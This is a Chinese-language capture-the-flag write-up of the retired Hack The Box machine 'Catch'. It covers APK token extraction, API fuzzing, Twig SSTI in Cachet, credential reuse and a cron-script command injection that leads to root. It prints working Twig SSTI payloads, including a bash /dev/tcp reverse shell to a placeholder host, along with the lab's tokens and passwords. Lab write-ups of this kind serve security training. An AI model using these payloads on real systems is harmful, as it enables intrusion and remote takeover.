概述(Overview)
HOST: 10.10.11.150
OS: LINUX
发布时间: 2022-03-13
完成时间: 2022-06-21
机器作者: MrR3boot
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #Mobile #SourceCodeAnalysis #Fuzzing #SQLi #SSTI #DockerAbuse
攻击链 (KiillChain)
使用 Nmap 扫描目标服务器开放端口,从页面下载 APK 包进行分析发现存在密钥硬编码,通过回话固定 Token 成功访问 lets-chat Web 服务 API 接口。对接口进行枚举发现一组口令,使用该口令登录 Cachet Web 服务后台。在后台找找到 SSIT 漏洞,利用命令执行拿到初步立足点。
通过查看环境变量得到 will 用户密码,成功完成横向移动并逃逸出了 Docker 容器。最终通过监听计划任务分析执行脚本,完成命令注入拿到 root 交互 shell。
枚举(Enumeration)
开始还是使用 Nmap 软件,对目标服务器开放端口进行枚举。
$ nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.150
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
...snip...
5000/tcp open upnp?
...snip...
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-favicon: Unknown favicon MD5: 69A0E6A171C4ED8855408ED902951594
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
从扫描结果中可以获知,目标服务器是 Ubuntu ,对外开放了多个 Web 服务。含两个不同版本的 Apache ,说明可能存在容器服务。
Port 80 - HTTP
使用浏览器访问 Web 服务,发现是一个静官网,唯一的功能就是下载 APK 文件。
Port 3000 - Gitea
访问 3000 端口,能够获悉它运行着 Gitea 代码管理系统。在页面的底部能够找到版本信息,当前是 1.14.1 版本。
Port 5000 - HTTP
而 5000 端口运行的 Web 服务需要鉴权登录,暂时不知道是系统。
Port 8000 - Cachet
访问 8000 端口也是一个 Web 服务,根据页面指纹进行搜索能够获悉它是开源 Web 服务 Cachet。
立足点(Foothold)
将 catchv1.0.apk 包下载在本地后,可以使用 apktool 工具对 APK 文件进行解包。
$ apktool d catchv1.0.apk
我选择使用 jadx-gui 工具来进行分析,通过它的图形化来阅读资源会更方便点。
首先阅读 AnderidManifest.xml 文件,这个文件中包含了APP的配置信息,安卓系统需要根据里面的内容运行APP的代码和显示视图界面。
从中可以看到声明的可视化界面 Activity 的命名空间:com.example.acatch.MainActivity
。直接去源代码去找 MainActivity 类,在里面的视图实现代码中得到一个域名,但没什么用。
尝试寻找其他线索。在 Android 项目中的 res/values 中有一个 strings 的 xml 文件,官方推荐将项目中所有的字符串和字符串数组放到该文件中,方便维护和复用。从中找到一些服务固定 Token 字符串。
$ cat res/values/strings.xml | grep -i token
<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
<string name="slack_token">xoxp-23984754863-2348975623103</string>
在 Google 上搜索字符串 lets_chat_token ,能够得到它出现在 lets-chat - https://github.com/sdelements/lets-chat Web 项目中。
浏览 Github 上项目 Wiki 描述知道它是采用 JWT 进行权限,结合刚才获取到的 Token 字符串,对站点进行路径枚举。
$ feroxbuster -u http://10.10.11.150:5000 -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -d 1
开始对枚举的路径进行访问尝试,访问多个路径发现都没有返回预期的结果。开始去HTB论坛 - https://forum.hackthebox.com,里面的主题帖找线索。
里面提及到 https://github.com/sdelements/lets-chat/wiki/API 但写的很隐晦,我硬是没看懂。最后是对 rooms 接口返回的结果 id 进行路径枚举才突破到下一阶段的。使用 ffuf - https://github.com/ffuf/ffuf 工具进行快速枚举。
$ ffuf -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/FUZZ -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -fc 404,400
可以看到,当请求 /messages
时存在多行字符串结果显示。随后请求这个路径,从结果中看到一组凭证信息。
Here are the credentials `john : E}V!mywu_69T4C}W`
随后使用这组凭证尝试是否存在密码复用,发现可以成功登录 Cachet 进入控制台。
开始对后台功能进行漏洞尝试,在文章发布功能中找到 Twig 版 SSIT 漏洞。
接下来就简单了,利用 SSIT 漏洞进行命令执行上线反弹 shell。
## Twig 测试命令执行
Template: {{[0, 0]|reduce("system", "id")}}
message: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n
## Twig 反弹上线 shell
Template: {{["bash -c '/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1'", 0]|sort("system")|join(",")}}
----> getshell
成功拿到立足点,但是发现存在 /.dockerenv
文件,说明后续可能还要进行容器逃逸。
横向移动(Lateral Movement)
因为存在 Docker 容器,所以我执行了 env
命令查询下环境变量中是否存在可疑信息。随后发现 DB_*
开头的一组数据库连接口令。
$ env
...snip...
DB_PASSWORD=s2#4Fg0_%3!
APP_KEY=base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA=
DB_USERNAME=will
DB_DATABASE=cachet
使用该口令进行 SSH 登录,成功进入目标服务器的物理机,完成横向移动。
权限提升(Privilege Escalation)
将 linpeas 脚本传递到目标服务器上运行,发现有个可疑的 verify.sh
脚本,我们对它具备读取和执行权限。
考虑存在计划任务执行,将 pspy 传递至目标服务器运行监听。果然和预想的一样,root 用户通过计划任务执行了该脚本。
分析 verify.sh
脚本,它会去检查 /opt/mdm/apk_bin
目录中的 APK 包,并对其进行解包。其中它会正则提取 res/values/strings.xml
文件中的 app_name 值。将它做为变量,通过管道连接符最终使用 sh 去执行字符串。
# 循环 /opt/mdm/apk_bin,找.apk结尾的文件,
...snip...
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
...snip...
注意中间还存在一个 if 判断,匹配的字符串中必须包含 Catch
。所以我这里是结合 base64 转化后执行反弹 shell。
替换 res/values/strings.xml
文件对于字符串:
使用 apktool 工具重新打包成 apk 文件,随后上传至目标服务器的 /opt/mdm/apk_bin
目录。
等待计划任务触发,最终成功得到 root shell。